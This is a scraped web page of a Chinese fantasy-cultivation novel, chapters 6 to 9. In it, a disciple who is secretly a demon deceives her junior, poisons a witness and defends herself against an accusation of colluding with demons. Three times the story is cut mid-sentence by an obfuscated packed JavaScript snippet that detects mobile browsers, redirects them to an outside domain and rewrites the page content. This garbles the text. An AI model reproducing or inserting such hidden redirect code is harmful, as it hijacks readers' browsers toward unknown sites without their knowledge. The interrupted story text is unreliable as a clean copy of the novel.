展言岚快人一步,一剑挥开火焰,将谢叠芳护在身后,周围修士见涂火鸟动了杀心,来势汹汹,不再犹豫,把谢叠芳的献计抛之脑后,纷纷劝展言岚快些召唤鉴魔镜将其诛杀。 展言岚却未动,握紧湮尘剑,似是犹豫,而谢叠芳则选择被他安然护在身后。 她看似古井无波,内心满是算计。 展言岚,这些人这般逼你至进退两难的境地,一边是道义,一边是同门性命,你当如何选? 但别忘了在此之前,你已经答应我不伤涂火鸟。 6. 第 6 章 展言岚进退两难。 遥望涂火鸟,斟酌再三,他收剑入鞘,正当众修士以为他准备召唤鉴魔镜,却不料,他下令:“撤!” 修士们不敢置信。 “展师兄,不可啊!我们已经伤了涂火鸟的鸟卵,我们放过它,它未必肯放过我们,这魔物发起狠来,连乌鳞蛇都只能勉强一战。” 展言岚心意已决,不是怯懦无能,而是仁慈温良,他道:“我们伤它孩儿两回,已铸下过错,不要再伤它。” 未出鞘的湮尘剑当空划了个圈,将涂火鸟隔绝在外,足够掩护诛魔队伍安全撤退。 展言岚收回湮尘剑,转身看向谢叠芳。 她温柔瞳眸里,投来对他所做出的决定淡然的讶异、浓烈的感激。 他觉得自己的选择是对的,不寒师姐的心,也无愧于师尊教导他同样的道理。 不伤无辜,替天行道,做一个真正除魔卫道的修士。 在他知会众修士撤离,回到谢叠芳身边。 “走吧。” 谢叠芳颔首,抬步跟上展言岚,神色隐晦。 至少这次,她赌对了,展言岚没有伤害涂火鸟,一方面也证明他信任她。 方才他转身的时候,眸中升起一点柔旖的光,谢叠芳居然被他回眸一笑恍惚震晃了一下心,这小子似乎是对她动了真情。 棋夫子的确用心教导他,把他当作风雷岛未来岛主培养,那些污秽的一面统统抹除干净,以至于展言岚生出这分不知世的纯净,温和知度,却有一处致命点:未曾见过修仙界真正的恶,他看到什么,他以为的世间便是什么。 活得像团光一样,普照世人,拯救苍生,才会轻易被她给哄瞒。 如实说,谢叠芳有时挺羡慕他的,羡慕到嫉妒。 她生而为魔,假若没有来到修仙界,本能凌驾魔界顶峰。 既来修仙界,可她偏是披了仙皮的恶花,格格不入。 她不能被动,任人摆布,总要做点什么彻底打破这样的局面。 待这时她走出五步,听见后面传来一阵惊骇的叫声。 “小心!有魔物在阵法内!” 果然,谢叠芳就知道此事远远没有结束。 销魂娘子来了。 地面浮起浓浓的黑雾,湮尘剑剑气渐退,无数颗鬼骷髅蚍蜉撼树,竟叫它们撞开防御,涂火鸟的火焰顺势冲出,周遭树丛被点燃,火势瞬间蔓延开来。 修士们引水符,启阵御之。 搭箭落弦,谢叠芳跃身而起,半空中时捕捉到那鬼骷髅魔气来源,看准角度,发出一箭。 金羽箭矢离弦,穿梭焰火、人群,射穿黑雾中的一颗鬼骷髅,鬼骷髅崩裂,那黑雾倏地散了。 鬼骷髅落了一地,便没了动静。 同时,地面忽然开始剧烈震动,自西南方向的丛林里闯出一条巨大的黑影,盖过半边天。 “是那条乌鳞蛇,那夜就是这条乌鳞蛇带走了涂火鸟,它们是一伙的!” 销魂娘子的出现,打断谢叠芳的计划,如今乌鳞蛇现身,场面极为混乱。 涂火鸟不报仇是铁定不肯离去,再有虎视眈眈的销魂娘子暗中潜伏,乌鳞蛇若要带走涂火鸟冲出重围,极其困难。 谢叠芳萌生一个铤而走险的想法,还需要展言岚的鉴魔镜派上用场。 她从枝梢落下,示意展言岚道:“销魂娘子潜伏在涂火鸟和乌鳞蛇身边,要诛杀她,必须动用鉴魔镜。” 如今两魔物争锋,乌鳞蛇用老办法,欲咬着涂火鸟逃命,涂火鸟有了上次教训,鸟喙啄伤了乌鳞蛇,僵持不下。 眼下,谢叠芳顾不了那么多,鉴魔镜一旦召唤出,焕发的光照亮四周,且不说魔物,她的身份也必暴露无遗。 魇音不能被鉴魔镜伤到,销魂娘子也必须死。 带着这两个念头,在展言岚的呼喊声再次跃上高空。 她故意射偏,金羽箭矢射落的同时,乌鳞蛇会意,蛇尾大甩,扫开地面的鬼骷髅。 鬼骷髅尽数远离,谢叠芳再次搭箭于弦,那些碎得不成形的鬼骷髅竟又在魔气的复原下,不死心,又聚拢回去。 但这次,销魂娘子没有潜伏在两只魔物底下,她化作一团黑雾躲在后面,以此朝半空拉弓的谢叠芳挑衅。 瞥见鉴魔镜的镜光闪烁,她这一箭,要射中销魂娘子,必然会伤及其他两只魔物。 数张道符忽然飞来,扰乱谢叠芳视线,往下看,穆禾云不知几时靠近两只魔物,立身于不远处,正与她相对,同行的还有两名修士,相差一段距离。 谢叠芳知道不能再犹豫,铤而走险,一路避开涂火鸟的火焰,手指一松,金羽箭矢破空而去。 那一箭力大无穷,箭走偏锋,以射掉涂火鸟的一根红羽为代价,追击销魂娘子。 销魂娘子被迫现出原形,被金羽箭矢逼退,试图逃脱追击,直扑后面的穆禾云。 她就不信这个小女修会毫不在意同门修士的生死。 但谢叠芳不可能让她得逞。 在穆禾云惊骇的目光下,三支金羽箭矢齐发,最后一支险些擦过她头皮,若不是反应快,保不住也要挨上一箭。 穆禾云看着被三支金羽箭矢穿透,倒在地上惊恐睁着眼睛的销魂娘子,发怔着,还没缓过来。 待被赶来的修士扶起,她醒神,有些难以置信。 谢叠芳是不是故意的?她明明可以直接射穿那两只魔物同时射杀销魂娘子,却偏偏铤而走险,置她于险境。 另一边,涂火鸟被射掉三四根羽毛,怒中火烧,乌鳞蛇找准时机,以蛇尾捆住它脚掌,忙不迭拖着它逃命。 谢叠芳人已经远离销魂娘子,朝展言岚呼喊:“展师弟,鉴魔镜!” 展言岚闻声,会意。 天边蓦地亮起折射出的镜光,鉴魔镜落在销魂娘子上方,她周身魔气渐退,直至彻底消散。 这个凡人少女早死在五年前,没了魔气侵染,尸身瞬间化为枯骨,腐蚀成尘。 销魂娘子伏诛,众修士皆松了口大气,此程有惊无险,大功告成。 离开南疆登船上岛前,谢叠芳特意留下暗语给魇音,不必随她上岛,届时取到鉴魔镜,务必来接应她。 谢叠芳是成功取得展言岚的信任,但也在那一战中露了马脚。 穆禾云察觉到古怪。 天色已暗,穆禾云独自一人躲在自己的舱房内,回想起谢叠芳所为,不免胆战心惊。 谢叠芳一定也发现自己察觉到了,只有她离自己最近,一举一动都看得一清二楚,尤其是从销魂娘子尸身移开看向自己的那一眼。 她有意掩护那两只魔物撤退,恐怕与它们勾结,说不准……说不准这次故意偶遇诛魔队伍,便是冲着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902429|176700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阻碍诛魔队伍不杀涂火鸟来的。 也不知道她说了什么话,展言岚竟然也放弃诛杀涂火鸟。 想到这儿,穆禾云手心发汗,祈祷船舟快些抵达风雷岛,只要上了岛,谢叠芳一定不敢动她,到时候她就有机会亲口告诉师尊和封师姐,谢叠芳定然难辞其咎。 “咚咚咚——” 这时突如其来的敲门声随雷响,一同打断她思绪。 穆禾云魂不守舍,神情紧张地问道:“……谁?” “小师妹,是我。”谢叠芳柔和的声音从外面传来,“我听队伍里的修士们说你食不惯辟谷丹,这几日也饿着了,二师姐便亲手下厨做了羹汤送来。” “哦……嗯,”穆禾云摇摆不定,牙齿打战,眼神忽闪,赶紧随便编扯出理由递回去,“多谢二师姐好意,我身子不太舒适,吃不下,还是拿……” 她话还未说完,谢叠芳便轻推开了门,船舱外电闪雷鸣,离风雷岛不远了,可穆禾云如今一见谢叠芳就生畏,话都没接着说下去,两股战战,跪倒在地。 “二师姐……二师姐……” 谢叠芳走了进来,关上舱门,慢悠悠地把羹汤放在桌上,随即转身对穆禾云道:“小师妹这是做什么,快快起来。” 穆禾云在谢叠芳的搀扶下战战兢兢起身,又被她带到桌旁坐下,羹汤递了过来,“羹汤是新鲜鱼虾做的,其他师弟师妹们也喝过了,我没见到师妹的人,便亲自给你送过来。” 穆禾云心惊未定,望着那碗微微冒热气的羹汤,试探道:“是……大家都有?” 谢叠芳点了点头,“快喝了吧,凉了就腥了。” 眼见谢叠芳非得盯着她喝下羹汤,穆禾云只能硬着头皮喝下。 碗见底,谢叠芳把碗收回食盒,望着穆禾云擦了擦嘴,淡淡道:“知道什么该说,什么不该说吗?” 穆禾云略微错愕,“二师姐这话何意?师妹怎么听不懂。” 谢叠芳不再多说,起身不看她,“你都看见了,不用装听不懂,方才开门时你在怕,颤抖得厉害,是因为猜到我肯定来寻你。” 穆禾云睁大眼睛,忙不迭求饶着攀扯谢叠芳。 谢叠芳悠悠转头,放低了目光,俯视道:“羹汤里加了点东西,只要你乖乖听话,每个月都会给你无根之毒的解药,少受点苦楚。” 穆禾云就算没见过谢叠芳使毒,私下也从封单月那儿听过她用毒的高明,封单月和她斗了几百年,分不出输赢,她不过刚入门的小小修士,小巫见大巫,面对谢叠芳根本没有胜算。 为了保命,穆禾云抛下狐假虎威的跋扈模样,泣不成声,一直恳求道:“我一定听话,一定听话,二师姐……” 谢叠芳俯身,见穆禾云这副可怜的样子,摸了摸她的头,不由怜悯道:“乖一点。” “禾云乖,一定乖……” …… 谢叠芳提着食盒走出穆禾云的舱房,绕了出来,却在甲板上瞧见展言岚,他淡然自若立身,船舟在海浪跌宕摇摆,也未能令他方寸大乱。 他似乎在等人,队伍里除了穆禾云独自一人在舱房,其余修士都在船内后厨,那么等的人只有她了。 谢叠芳明知故问走上前去,“展师弟特意等我,是为讨一碗羹汤喝吗?” 她故意把食盒往展言岚面前晃了晃,孰不知这是她方才的作案工具。 7. 第 7 章 面对谢叠芳的调侃,展言岚平淡应声。 他有两个大感执迷的疑惑。 其一,谢叠芳本人;其二,便是诛魔行动。 展言岚将那一夜的事搁置,但不代表他是随便的人,这件事总要给师姐一个交代,毕竟那时他意识不清不楚,师姐为了救他牺牲良多,事后却让他忘了,展言岚耿耿于怀,怎能权当忘记。 不知从何说起,他越想越糊涂,憋着一口气。 非你情我愿。 展言岚心里泛起无奈的酸涩。 回岛迫在眉睫,谢叠芳望着青年面朝向她,低头嗫嚅,随后眸光逐渐黯淡,于是开口道:“展师弟诛杀销魂娘子,劳苦功高,为何垂头丧气?” 是啊,在师姐心中他永远是她的师弟。 那夜呢喃声中,她也是这般唤他展师弟的。 字字入耳,若即若离,疏离又亲密,令他刻骨铭心,无法自拔。 展言岚忍耐那股酸涩感,勉强扯出一个笑容来,“师弟有一件事想请教师姐。” “你说罢。” “师尊授我分辨正邪之道,托我诛魔重任,此一行我深有体会,只是有一点始终不得其解,诛魔行动的诛魔究竟是诛杀所有魔物,还是‘祸乱苍生伤及无辜’的魔?” 谢叠芳遗憾摇头,“展师弟兴许不知我扶光仙子从不参与诛魔行动,只诛杀魔修,对……就是修仙者堕入魔道的魔修,这一回诛魔行动是我头一遭参与,其实我根本不懂诛魔。” 她口吻里满是遗憾,展言岚发愣住,既不懂,为何她看得如此通透,彼时请求他别伤害无辜的涂火鸟,指引当时迷路的他迈向正确的道路。 谢叠芳轻浅一笑,话锋一转道:“不过我倒是悟懂一个道理,八百年前先魔尊败给浮罗仙人,形神俱灭,魔界从此无主,分崩离析,诛魔行动因此出现,专为诛杀为非作歹的魔族,维护三界太平,流荡于三界的所有魔物都逃不过被诛杀的命运,那么,这也意味着诛魔行动一旦开始,就不可能结束。” “除非……”她转向海洋,见层叠荡漾的海浪始终撼动不了之上的船舫,“除非有一方终结另一方,彻底消灭他们的存在。” 展言岚瞳孔骤然紧缩。 彻底消灭…… 一定要如此决然? 他还是不明白,握紧手中的湮尘剑,内心纠结,甚至有一刻怀疑自己是不是做错了。假若此后诛魔,必须诛杀的魔物是第二个涂火鸟,那他与杀戮成性的刽子手又有何区别。 这不是他追求的道! 一双手搭住他肩膀,展言岚微怔,温柔神色里,谢叠芳轻盈的音色低语:“但至少这次你没有违背本心,没有错杀无辜,光是这一点就证明展师弟不是个道貌岸然的诛魔修士。” 谢叠芳遥指不远处的风雷岛,存在于东璩洲海域内,一座崖石海浪拱托,结界拥护的巍峨岛屿。 “我们到了。” 展言岚凯旋归来,查清小敦村真相,诛杀真凶兼仙盟心腹大患——销魂娘子。 此消息在诛魔队伍还未归来前便传遍整个仙盟,仙盟盟主岿商仙尊赏风雷岛,封展言岚为“长庚仙君”,大赦修仙界。 棋夫子自然喜不自胜,他最得意的弟子有如今成就,日后待他寿元尽,风雷岛传给展言岚,他也能安心。 只是有一点,他不甚满意。 展言岚归来,同队伍传出来不少风言风语,说展言岚竟一意孤行,不忍伤魔物涂火鸟,为其求情。 树大招风,棋夫子不大信流言蜚语,但一听到谢叠芳偶遇,介入此事,且毫无异样随队伍回岛,棋夫子心有余悸,独自唤来展言岚,谁知他竟脸不红心不跳承认。 棋夫子勃然大怒,但恼怒归恼怒,还是宽恕展言岚。 棋夫子平素确是这般教化展言岚,为了让他成为一个真正大公无私明辨是非的高洁修士,带领风雷岛走向修仙界之巅,手上沾染无数肮脏的他也戴上了面具,可谓用心良苦。 他千般叮嘱展言岚,“魔族多数为恶,切莫胡乱发善心,对魔物慈悲,当心它们非但不感激,反而背后暗害于你。” “是,师尊。”展言岚跪地伏首,应下。 封了长庚仙君的名号,展言岚有属于自己的洞府,远离旧居所,离秋水涧更近,亦离谢叠芳的住处近了些。 洞府平日多了几名仙侍在旁,展言岚不惯有人侍奉,擅自将他们遣散。 仙侍们踌躇洞府前不肯离去,生怕师尊知道,遭到责罚。 展言岚温声劝道:“你们先回去罢,明日我会向师尊解释。” 仙侍没师尊亲口应允,长庚仙君无人侍奉,他们不肯离去,直到身后传来一声女音,“都回吧,长庚仙君这里有我,师尊那儿也有仙君交代,不必忧心。” “扶光仙子。”仙侍们转身,见谢叠芳施施然走来,手里提着竹篮,听她这番劝解后才敢姗姗离去。 “师姐怎么来了?”展言岚换去清减蓝衣,一身银边袖襕的素色衣袍从洞府走出。 “来给长庚仙君道喜。” 展言岚引路谢叠芳进了洞府,偌大的洞府仅有他一人,难免有些冷清。 谢叠芳的到来,独属展言岚的冷清也分给了她一半。 展言岚尤其珍惜二人独处,暗自高兴,直到谢叠芳从竹篮内抱出两坛青梅酒,他微微抬起的唇角僵硬了片刻。 “……这是?” “石松崖时不小心丢了那袋青梅酒,我心里过意不去,恰好你又封了仙君之位,我便特意把陈年佳酿拿出来。” 谢叠芳盛情款待,展言岚盛情难却,可碍于自己酒量差劲,犹疑道:“师姐,其实我……不胜酒力。” “不胜酒力?”谢叠芳幡然醒悟,望着两坛青梅酒略微遗憾,“既如此,那便以茶代酒罢。” 她方要把酒收回,展言岚忽然按住她放在酒坛上的手,阻拦道:“等等。” “今朝有酒今朝醉,师弟虽不胜酒力,但师姐特来为我庆贺,师弟怎能辜负美意。” 展言岚主动接过酒坛打开,馥郁酒香便飘了出来。 他饮了一大口,耐不住酒,猛咳几声,在谢叠芳微微惊讶的目光下,逞强地给自己台阶下:“好酒!好酒!” 这样的演技实在笨拙。 被酒呛得面色涨红,依旧埋头苦喝,照他这架势,白水当鲸吞,好酒都被他白白糟蹋。 谢叠芳心疼眼,心疼她的酒。 她不得不也打开酒坛大饮一口,刻意附和道:“好酒。” 不喜欢、不习惯偏要逞强,谁不会?谢叠芳更胜一筹,比他装得好上百倍,必奉陪到底。 素衣青年饮了近半坛,微醉,双颊烫着酡红,左臂支撑脑袋,手心后偷偷去瞄抱起酒坛痛饮的谢叠芳,眼里含着欣然的喜悦。 从前他不敢亵渎,于他而言,自己无比丑陋卑贱。 她是池中莲,他连沼泽的泥都不配是,遑论肖想终有一日能与她把酒言欢。 今日何其幸运。 “展师弟……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902430|176700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见谢叠芳呼唤他时饮光酒坛里的酒,倚靠下来,倒在石桌,展言岚心一动念,自觉地陪她一起。 两两相望。 谢叠芳盯着展言岚,他那双带点迷醉的鹿眸纯粹又清透,不知为何,她居然看他有点顺眼。 顺眼到……她居然有点喜欢。 谢叠芳内心忍不住嗤笑。 从前,总有人喜欢跟她对着干,比如封单月和严观苍,包括之前的展言岚,事事不甚顺她心,是以,依她不认输的性子,非得去争个所以然。 在风雷岛,乃至仙盟,不争永远翻不了身,不是死于尔虞我诈,就是死于明枪暗箭。 可如今,展言岚似乎变了,谢叠芳有些看不明。 是她演技太好,让展言岚喜欢上她,他才变的? 还是说她自己演着演着,自己一时入戏太深,被展言岚发自肺腑之言所打动,产生严重错觉? 亦或是其他原因? 以至于,谢叠芳觉得其他人与事不像展言岚那般顺她的话,展言岚明明不喜欢不习惯,却因为是她的意思,他愿为之勉强,且甘之如饴。 其中错综复杂,谢叠芳无暇弄清,她只需要知道她的目的已经达到。 这个傻小子。 她一直在骗他,他起初还有所提防,如今却对她言听计从。 谢叠芳似是醉了般,忽地一笑,贴在展言岚额头,炽热的感觉瞬间融化了他心。 展言岚呼吸一屏,睁大双眼,身边人似乎没有反应,轻轻一个吻低落,轻触着,便没了后续。 但足以撩拨展言岚沉寂孤冷的心湖。 他移动目光,看见谢叠芳闭着眼,听见绵匀的呼吸声,已经睡着。 眼前女子曾是令他可望不可即,展言岚贪恋与她相见的每一刻。 她为何亲他? 是醉了? 还是说……师姐是喜欢自己的? 内心深处,展言岚百般纠结。 他只想,好想跟师姐永远在一起。 打从被喂下无根之毒后,穆禾云整日惴惴不安,听着封单月和严观苍不满展言岚大功而归的谈话,她内心慌张得厉害,生怕出差错,被谢叠芳发现端倪,这三日以来鲜少粘在封单月左右。 封单月固然察觉穆禾云魂不守舍,蔫了般,也没放在心上,直到有正事要让穆禾云去办,寻了一圈,最终发现穆禾云居然躲在自己的住所偷懒。 “师妹!” 封单月这么一喝,穆禾云激灵,惶恐转身,见来的人是封单月,而非谢叠芳,仍旧心有余悸,勉强镇定下来,“三师姐。” 封单月带着审视的目光扫视穆禾云,“你独自一人在此处做什么?” “没、没什么。” 封单月眉心一蹙,“当真是没什么?我倒奇怪你这几日魂不守舍,说什么话都记不住,你究竟在忙什么?” 穆禾云心一慌,“三师姐……我、我没事,什么也没忙。” 穆禾云结结巴巴,说谎都不会提前打草稿,哪里受得住封单月这样多疑敏感的人逼问。 几回合下来,穆禾云跪地坦白道:“……是二师姐,是她、是她给我下毒,让我什么都不许说。” 封单月面色遽然一变,她早知晓谢叠芳半途加入诛魔行动,可没料到穆禾云如此担心受怕的人居然是她。 她厉声逼问道:“你定要知道了她什么秘密才给你下毒,快说!” 穆禾云泣不成声,“她、她……暗中保护涂火鸟和乌鳞蛇,从中作梗!” 8. 第 8 章 勾结魔物。 封单月喜不自胜,好你个谢叠芳,跟我斗了这么多年,不也是让我拿捏到你的把柄! 她好整以暇,吩咐穆禾云如实招来。 穆禾云卷入这纷争,进退两难,她早已认在封单月派别,前后得罪了谢叠芳,哪敢做出他想,于是说:“二师姐在射杀销魂娘子时,涂火鸟和乌鳞蛇挡在前面,她非但不一同诛杀,反而有意掩护两只魔物撤退,销魂娘子欲拿我要挟,她铤而走险,不顾我安危,冒死射中销魂娘子。” “那时在场的就我一个,二师姐似乎也察觉到我发现她的目的,临近登岛送来下了无根之毒的羹汤,逼我服下,只要我听话,每月便送解药来。” 封单月冷笑道:“她骗你的,无根之毒乃乌鳞蛇蛇涎提取的毒液,承诺每月送来的解药仅仅缓解刮骨蚀魂之痛罢了,解药的配方是谢叠芳研制出来,只有她本人知晓,连师尊都不知。三个月前,诛魔行动抓回一条小乌鳞蛇,以丹房炼制催心丹之用,乌鳞蛇凶猛,师尊督促在旁,吩咐谢叠芳生取蛇诞,炼制成丹后,剩余的无根之毒自然落到谢叠芳囊中。” “不久那条乌鳞蛇逃脱,在岛上离奇失踪,师尊大动干戈,依旧没有结果,你们在南疆见到的乌鳞蛇年岁几何?” 穆禾云道:“约莫两百年。” 封单月若有所思,“看来不是那条失踪的乌鳞蛇……不过无碍,你中了无根之毒,谢叠芳绝无可能撇清关系,速速找严观苍来!” 严观苍来时,听了穆禾云那番话,猛拍桌面,吓得穆禾云又是一激灵,对着她怒声道:“岂敢妄言!你可知胡乱攀扯师姐是何下场?” 穆禾云赶紧接话,“师妹不敢妄言,句句属实。” 封单月则道:“她命都快没了,还有什么可胡言乱语,到师尊那儿把来龙去脉讲个分明,禾云体内的之毒便是证据,师尊就算再袒护谢叠芳,也不会容忍宗门出内鬼。” 仙魔两界势不两立,水火不相容,如今仙界势大,魔界弱小,几只魔物弄死便弄死,可若是仙盟中出了内奸,里应外合,意图破坏仙盟百年的诛魔计划,那便是罪不容诛。 其中份量,严观苍和封单月格外有数。 可若谢叠芳绝非内奸,那么诬告之人下场恐怕不是处以雷刑这么简单。 保不齐洗仙髓,还凡胎,更甚没熬过来,形神俱灭也不为过。 封单月见严观苍犹豫良久,便道:“你给个准话吧,去还是不去?” “去。”严观苍神色阴郁,“不过,再添一人。” 封单月疑惑地眯起眼睛,“谁?” 严观苍道:“展言岚。” 封单月听后,难以置信地看着他笑了起来,“严观苍,竟没想到你比我还疯狂,展言岚如今是谁?盟主亲封的长庚仙君,师尊的得意弟子,他取代你我谢叠芳在师尊心中的位置,未来还有可能除掉我和你,成为风雷岛新一任的岛主!” “正是如此,才要借机赶尽杀绝!”严观苍言辞犀利,“谢叠芳随同展言岚参与诛魔行动,二人近日走得颇近,同为剑修的一名师弟亲口同我说展言岚便是从与队伍分开,和谢叠芳同行回来后,发话放过涂火鸟。” “你要治展言岚一个知情不报的包庇罪名,一箭双雕?” “言重了,展言岚是否包庇谢叠芳,我不知,不过给师尊提个醒罢了,全凭师尊定夺。” 二人谈妥抬步离去,封单月见穆禾云早已被方才这一幕吓得六神无主,无奈摇头,就这点出息,连忙吭声道:“还不快跟上!” 棋夫子人如今在墨香正堂,听外面守门的弟子报严观苍和封单月来见,心中亦纳罕,便传见,方见着两人神情严肃,便问:“何事竟让你们来了?” 两人异口同声,“师尊,弟子发现岛上有魔族奸细,特来禀报。” 棋夫子眉头一皱,“奸细?” 目光微移,看向地上二人,“风雷岛千秋万代,在历代岛主治理下,弟子严格筛选,经过重重历练方可登岛,从未出现过魔族奸细,你们说发现奸细,倒是说说看奸细是谁?” 封单月道:“此人是谢叠芳。” 棋夫子神情动容,并不恼怒,“单月你可知诬陷同门是何惩罚?” “弟子便是知道才敢禀明师尊,不敢置身事外,由她潜伏岛上,谢叠芳其心可诛,假意偶遇诛魔行动,就是为了掩护涂火鸟和乌鳞蛇,被穆小师妹发现后,逼迫她服下无根之毒。” “穆禾云人在哪?” “在外面候着。” “让她进来,我要亲耳听她说。” 穆禾云进来时,如临深渊,她跪伏在地道:“弟子拜见师尊。” 棋夫子盯着她,“谢叠芳给你下了无根之毒,是因为你发现她勾结魔族,掩护魔物逃脱?” “……是。” “无稽之谈,”棋夫子冷声道,震慑在场众人压低了头,“谢叠芳协助言岚诛杀销魂娘子,功劳苦劳皆有,你们反而口口声声说她勾结魔族,前后矛盾,事先没想好证词就跑到我这儿撒泼?” 严观苍眼一亮,察觉疏漏之处,忙不迭道:“弟子愚笨,请师尊息怒,此事疑点众多,弟子们担心忧虑,但宁错杀也不可放过一个对仙盟和风雷岛有后顾之忧的人,还请师尊慎重,严查此事。” 棋夫子眼珠转悠,若有所思,片刻后吩咐仙侍,“让谢叠芳过来一趟,记着,什么都不许说,让她来便是……” 说及此,“把言岚一同带来。” 仙侍去请展言岚时,他人正好在自己洞府,林昭夜恰好在旁,见师尊特地派三名仙侍前来,不由打趣道:“自从你封了长庚仙君,真是一日比一日更风光。” 展言岚询问道:“师尊寻我何事?” 仙侍们只答:“师尊让仙君前去便知。” 展言岚又见仙侍们神情不对,多留了,“带路吧。” 墨香正堂内外聚集风雷岛岛上所有弟子,展言岚被仙侍引路前来,瞧见这一阵仗,又见内堂几人,片刻便知是严观苍和封单月生事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902431|176700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墨香正堂内如火如荼,封单月牵过穆禾云,面朝谢叠芳,意有所指道:“你说你刻意绕开魔物,是忌惮销魂娘子挟持禾云对付诛魔行动,那无根之毒呢?你给禾云下毒,难道不是她发现你勾结魔族,以此逼迫她,岛上何人不知无根之毒都在你手中,除了你谁能给她下毒?” 谢叠芳倒显平静,从容不迫道:“我从未给穆小师妹下无根之毒,更不会使其他毒伤害同门修士,叠芳清清白白,却遭人如此污蔑,委实心寒,请师尊为我证清白。” 她从储物袋取出装着无根之毒的玉瓶,由仙侍呈给棋夫子,随后看向穆禾云道:“你说我给下无根之毒,可有证据?” 穆禾云被她这么一盯,不由回忆起电闪雷鸣那时,但如今师尊和封师姐在场,她不再忌惮谢叠芳,于是壮胆道:“回岛那日船舟上,你给所有修士做了羹汤,无根之毒便是下在你送来的羹汤里!” 谢叠芳眨了眨眼,淡然一笑道:“你对无根之毒了解多少?” 被这么一问,穆禾云怔忡,封单月在身侧碰了碰她。 穆禾云回忆方才封单月的话,“无根之毒乃乌鳞蛇蛇涎提取,剧毒无比,炼制催心丹之用。” “不错,正是剧毒,是以解药难以配制,”谢叠芳言辞凿凿,她目光从穆禾云的脸转移到她被封单月牵着的右手,意味深长,“但你不知晓服下无根之毒第二日,右手手腕便会起毒脉。” “你右手上有吗?” 封单月听后,一把拉开穆禾云的衣袖,她手腕毫无异常,并无毒脉。 穆禾云大惊失色,难以置信,“明明是你亲口说给我下的毒……” “不怪封师妹当初不知我为师尊炼制催心丹,先前以身试毒研制解药之事。”谢叠芳一字一句道,冷冷看了封单月一眼,“若是知晓,断定不会听信穆小师妹的谎话,被人当枪使,出言污蔑,毕竟身中无根之毒当日,我可是连爬都爬不起来。” 封单月怔住,竟是一句话都说不出来。 严观苍在一旁,暗道:“谢叠芳果真好手段,空手套白狼。” 此时,棋夫子出声道:“无根之毒本还剩半瓶,一滴未少。单月,观苍,你二人还有什么要解释的吗?” 严观苍道:“弟子有罪,无话可说。” 穆禾云赶忙跪地认错,封单月闻声,在棋夫子冷漠目光下也亦认了错。 棋夫子瞥见展言岚立身正堂门口,起身走向墨香正堂外,沉声道:“走罢,到外边去,启动鉴魔镜!” 于他身后的谢叠芳微微抬起眼帘,平和的神情终有一丝动容。 棋夫子停步,看向展言岚,询问道:“言岚,方才都听见、看见了?” 他们三人污蔑谢叠芳下毒为真,可谢叠芳究竟有没有勾结魔物,犹未可知,展言岚不敢轻易下结论,只点头道:“回师尊,听见,亦看见。” “很好,”棋夫子转身看向慢慢走来的谢叠芳,“叠芳,他们说你勾结魔物,如今唯有鉴魔镜能为你作证,你可愿一试,以证清白?” 9. 第 9 章 展言岚闻言,半跪在地:“师尊,二师姐绝无可能勾结魔物,言岚当时在场,以性命作担保。” “展师弟切莫胡乱起誓为妙,”严观苍隔岸观火,算是看清其中微妙,展言岚确实对谢叠芳有情,师尊又何尝看不出。 他从后面走来,侃侃而谈,“知情者念你顾及同门情谊求情,不知情者以为你们感情甚笃,已经私相授受。” 棋夫子置若罔闻,欲扶展言岚,不料他不肯起。 展言岚再道:“恳请师尊不要用鉴魔镜。” 棋夫子面上无笑,略显冷淡,看着最看重的弟子竟为谢叠芳求情到如此地步,不再替他掩饰,当众揭穿,怒声斥道:“你竟为了谢叠芳这个蛊惑人心的妖女不惜违逆师尊的命令,言岚,你果真动情了,当初我如何教导你,统统忘了是吗?!” 此话一出,满座皆惊,谁曾想高高在上的长庚仙君竟有朝一日对女子动了真情,不惜触怒师尊,恋慕展言岚的仙门女修不由失魂落魄,更有甚者当众昏了过去。 展言岚抬起头来,目光湛然,字字句句清晰入耳,“师姐她不是妖女,她是师尊的弟子,风雷岛的扶光仙子,亦是……言岚心爱之人,她绝无可能勾结魔物。” 此时,也有不少异口同声。 “二师姐平日也对我们多有照料,为人正直,怎么可能会勾结魔物。” “是呀,而且诛魔行动上是她射中销魂娘子。” …… 众修士各执己见,棋夫子望着展言岚,无奈摇头,随即看向谢叠芳。 她仿佛受了极大的冤枉,眼中含泪,亦真情实感望向展言岚。 一个魔物,竟生出这般栩栩如生的模样,昔日里果真没少对同门修士上心,否他已然发话,谁还敢替她说情。 当年谢叠芳成为风雷岛修士的全过程,棋夫子记忆犹新,素来留意,从未出纰漏,直到这次东窗事发,他不得不动用鉴魔镜,防微杜渐。 一旦谢叠芳身上的封魔印出变故,她便没有存在的必要。 